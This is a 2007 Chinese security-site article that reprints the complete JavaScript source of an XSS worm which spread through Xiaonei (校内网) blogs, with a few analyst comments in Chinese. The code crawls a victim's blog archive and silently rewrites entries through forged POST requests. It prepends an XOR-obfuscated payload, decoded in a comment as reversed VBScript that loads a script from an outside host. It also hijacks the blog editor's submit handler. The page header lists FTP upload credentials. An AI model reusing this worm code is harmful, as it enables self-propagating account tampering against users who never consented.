安全中国首页 > 文章中心 > 其他漏洞研究
　
安全中国网友投稿专用上传FTP空间：
Ftp服务器：download.anqn.com
Ftp端口：21
用户名：anqn
密 码：anqn.com
　

一个不为人知的感染几百万校内网用户的蠕虫分析

更新时间:2007-10-25 0:07:14
责任编辑:池天
热 点：

var req = null;
var step=null;
var DiaryMonthUrlList="",DiaryUrlList="";
var timer=null;
var bIsBusy=false;

var myrand="46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.47.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.96.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.102.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.113.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.44.46.61.115.44";

function my_HtmlDecode(str)
{
str=str.replace(/</g,"<");
str=str.replace(/>/g,">");
str=str.replace(/&/g,"&");
str=str.replace(/ /g," ");
str=str.replace(/"/g,"\"");
str=str.replace(/<br>/g,"\n");
str=str.replace(/#/g,"#");
str=str.replace(/(/g,"(");
str=str.replace(/)/g,")");
str=str.replace(/"/g,"\"");
str=str.replace(/'/g,"'");
str=str.replace(/#/g,"#");
str=str.replace(/(/g,"(");
str=str.replace(/)/g,")");
str=str.replace(/"/g,"\"");
str=str.replace(/'/g,"'");
return str;
}
function processReqChange()
{
if (req.readyState == 4 && req.status == 200 )
{
if("WriteIframe"==step)
{
var text,len,i=0,j=0,temp;

text=req.responseText;
i=text.indexOf("<div class=\"article\">",0);
if(-1==i){return}
i=text.indexOf("http://blog.xiaonei.com/GetEntry.do",i);
if(-1==i){return}
j=text.indexOf("\"",i);
if(-1==j){return}
text=text.substring(i,j);

document.getElementById("mya113").style.background="#FFFFFF";
var s=document.createElement("iframe");
s.frameborder="0";
s.height="0";
s.width="1";
s.src=text;
document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));
}
else if("GetDiaryMonthList"==step)
{
var text,len,i=0,j=0,temp;
//text的内容就和用户点“我的日志”得到的内容一样，分析HTML，得到“日志存档”中的每一个链接，保存到DiaryMonthUrlList中
//然后跳到GetStatus函数,此时step="GetDiaryList" 取出每个月的日志列表
text=req.responseText;
i=text.indexOf("<div id=\"list-archive\">",0);
if(-1==i){return}
j=text.indexOf("<div class=\"bottom-box\">",i);
if(-1==j){return}
text=text.substring(i,j);

i=j=0;
while(1)
{
i=text.indexOf("http://blog.xiaonei.com/MyBlog.do",i);
if(-1==i)break;
j=text.indexOf("'>",i);
if(-1==j)break;
temp=text.substring(i,j);
i+=temp.length;
temp=my_HtmlDecode(temp)+"|";
DiaryMonthUrlList+=temp;
}
if(DiaryMonthUrlList.length<=1)
{
return;
}

step="GetDiaryList";
req=null;
bIsBusy=false;
timer=window.setInterval(GetStatus,1000);
}
else if("GetDiaryList"==step)
{
var text,len,i,j,temp,temp2;
var text2="http://blog.xiaonei.com/EditEntry.do?id=";

//text的内容就和用户点了“日志存档”后的内容一样
//分析HTML得到每个月的日志列表保存在DiaryUrlList中，然后step=GetDiaryText也就是取得日志的内容,
//看本函数下面else if("GetDiaryText"==step)就是了
text=req.responseText;

len=text.length;
i=text.indexOf("<div id=\"list-article\">");
if(-1==i)
{
req=null;
bIsBusy=false;
return;
}
j=text.indexOf("</table>",i);
if(-1==j)
{
req=null;
bIsBusy=false;
return;
}
text=text.substring(i,j);
i=j=0;


while(1)
{
j=0;
len=0;
j=DiaryUrlList.indexOf("|",j);
while(j!=-1)
{
j++;
len++;
j=DiaryUrlList.indexOf("|",j);
}

if(len>=5)//只感染前5篇日志 或者是4篇 没仔细研究
{
break;
}

i=text.indexOf(text2,i);
if(-1==i)
{
break;
}
i+=text2.length;
j=text.indexOf("\">",i);
if(-1==j || j-i>10)
{
break;
}
temp=text2+text.substring(i,j)+"|";
DiaryUrlList+=temp;
}
req=null;
bIsBusy=false;
}
else if("GetDiaryText"==step)
{
var text,len,i,j;
var argv;
var title,body,blog_pic_id="0",pic_path,blogControl,Diaryid;


text=req.responseText;
//这个模块模拟用户编辑日志，在每篇日志的开关都加上
//<a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>

i=text.indexOf("<form action=\"http://upload.xiaonei.com/EditEntry.do\"",0);

if(-1==i)
{
return;
}
i+=53;

j=text.indexOf("</form>",i);
if(-1==j)
{
return;
}

text=text.substring(i,j);
//------------------------

i=text.indexOf("id=\"title\" class=\"inputtext\" tabindex=\"1\" value=\"",0);
if(-1==i)return;
i+=49;
j=text.indexOf("\" />",i);
if(-1==j)return;
title=text.substring(i,j);
//---
i=text.indexOf("<textarea name=\"body\" id=\"body\" cols=\"100%\" style=\"display:none\">",0);
if(-1==i)return;
i+=65;
j=text.indexOf("</textarea>",i);
if(-1==j)return;
body=text.substring(i,j);
//---
i=text.indexOf("id=\"blog_pic_id\" value=\"",0);
if(-1==i)return;
i+=24;
j=text.indexOf("\" />",i);
if(-1==j)return;
blog_pic_id=text.substring(i,j);
//---
i=text.indexOf("id=\"pic_path\" value=\"",0);
if(-1==i)return;
i+=21;
j=text.indexOf("\" />",i);
if(-1==j)return;
pic_path=text.substring(i,j);
//---
i=text.indexOf("name=\"id\" value=\"",0);
if(-1==i)return;
i+=17;
j=text.indexOf("\" />",i);
if(-1==j)return;
Diaryid=text.substring(i,j);
//---
i=text.indexOf("\" selected=\"selected\"",0);
if(-1==i)return;
j=i-2;
if(text.substr(j,1)=="\"")
j++;
blogControl=text.substring(j,i);


body=my_HtmlDecode(body);
if(body.indexOf("mya113",0)>=0)//已经感染过，不再感染
{
req=null;
step="GetDiaryText";
bIsBusy=false;

return;
}
else
{
;
}
//以上是取日志的各个变量信息
//以下开头就感染日志并修改

body=MyDecode(myrand)+body;
//感染日志 在日志的开头加上跨站代码
//MyDecode(myrand)中保存的就是跨站的关键代码，作者加密了一下放在myrand变量中，程序开头的一长串数据就是

//以下开始POST提交修改过的日志
argv="\r\n";
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\n";
argv+=(title+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"body\"\r\n\r\n";
argv+=(body+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"theFile\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n";
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"blog_pic_id\"\r\n\r\n";
argv+=(blog_pic_id+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"pic_path\"\r\n\r\n";
argv+=(pic_path+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"blogControl\"\r\n\r\n";
argv+=(blogControl+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n";
argv+=(Diaryid+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"relative_optype\"\r\n\r\n";
argv+=("publisher"+"\r\n");
argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"del_relative_id\"\r\n\r\n\r\n";
argv+="-----------------------------7d71861cb014c--\r\n";


req=null;
step="EditDiaryText";
loadUrl("http://blog.xiaonei.com/EditEntry.do","POST",argv);


}
else if("EditDiaryText"==step)
{

req=null;
bIsBusy=false;
step="GetDiaryText";
}
else
{
;
}

}
}
function MyDecode(str)
{
var i,k,str2="";

k=str.split(".");

for(i=0;i<k.length;i++)
{
str2+=String.fromCharCode(k[i]^0x12);
}
return str2;
}
function loadUrl( url,method,argv )
{
bIsBusy=true;
if(!req)
{
if(window.XMLHttpRequest)
{
try
{
req = new XMLHttpRequest();
} catch(e) { req = false; }
}
else if(window.ActiveXObject)
{
try
{
req = new ActiveXObject('Msxml2.XMLHTTP');
}
catch(e)
{
try
{
req = new ActiveXObject('Microsoft.XMLHTTP');
} catch(e) { req = false; }
}
}
}
if(req)
{
req.onreadystatechange = processReqChange;
try
{
req.open(method, url, true);
if(method=="POST")
req.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------7d71861cb014c");
req.send(argv);
}catch(e)
{
req=false;
}
}
}
function GetStatus()
{
if(bIsBusy)return;

if("GetDiaryList"==step)
{
var DiaryMonthUrl,i;

//取出每个月的日志列表
if(DiaryMonthUrlList.length<=1)
{
step="GetDiaryText";
return;
}
i=DiaryMonthUrlList.indexOf("|",0);
if(-1==1)
{
step="GetDiaryText";
return;
}
DiaryMonthUrl=DiaryMonthUrlList.substring(0,i);
DiaryMonthUrlList=DiaryMonthUrlList.substring(i+1,DiaryMonthUrlList.length);

//再回到开头的processReqChange函数 此时step还是GetDiaryList
loadUrl(DiaryMonthUrl,"GET","");

}
else if("GetDiaryText"==step)
{
var DiaryUrl,i;
if(DiaryUrlList.length<=1)
{
clearInterval(timer);
return;
}

i=DiaryUrlList.indexOf("|",0);
if(-1==i)
{
clearInterval(timer);
return;
}

DiaryUrl=DiaryUrlList.substring(0,i);
DiaryUrlList=DiaryUrlList.substring(i+1,DiaryUrlList.length);

loadUrl(DiaryUrl,"GET","");
}
}
function WriteStat()
{
var s=document.createElement("iframe");
s.frameborder="0";
s.height="0";
s.width="0";
s.src="document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));

}

function DeleteScript(html)
{
var i=0,j=0,str;

str=html;

i=str.indexOf("</A>",0);
if(-1==i)
return str;
i+=4;
str=str.substring(i,str.length);

return str;
}
function EditorSubmit()
{
var ret=false;
parent.parent.descOptype();
ret=parent.parent.beforeSubmit();

parent.parent.document.getElementById("body").value=MyDecode(myrand)+DeleteScript(parent.parent.document.getElementById("body").value);

return ret;
}
function Start()
{
//判断是不是blog.xiaonei.com域,由于ajax是不能跨域的，所以判断是必备的
if("blog.xiaonei.com"==document.domain)
{
//如果是在编辑已感染的日志 就做了一些奇怪的行为，我看不懂，好像是把自己重写了一遍，不知道为什么这样做
if("http://blog.xiaonei.com/pages/editor/win.htm"==document.location)
{
parent.parent.document.getElementById("editorForm").onsubmit=EditorSubmit;
}
else
{

WriteStat();//这是一个用户流量统计的函数，使用cnzz 站长助手
//下面开始感染了，第一步GetDiaryMonthList，得到日志的按月归档
step="GetDiaryMonthList";
loadUrl("http://blog.xiaonei.com/MyBlog.do","GET","");//loadUrl是一个ajax读取页面内容的函数
//下面跳到开头的processReqChange函数
}
}
else if("xiaonei.com"==document.domain || "www.xiaonei.com"==document.domain)
{
//如果不在blog.xiaonei.com域就写入一个Iframe Iframe的SRC是日志的URL
//这个URL是blog.xiaonei.com域的，就变向的实现了跨域，
//作者这样做应该是为了一访问别人的主页就能感染
var url="";

url=document.location.toString();
if(url.indexOf("&")==-1)
return;
step="WriteIframe";
loadUrl(url,"GET","");
}
}

Start();

上一页 1 2 

　
相关文章
一日一文章
　
一日一软件
一日一动画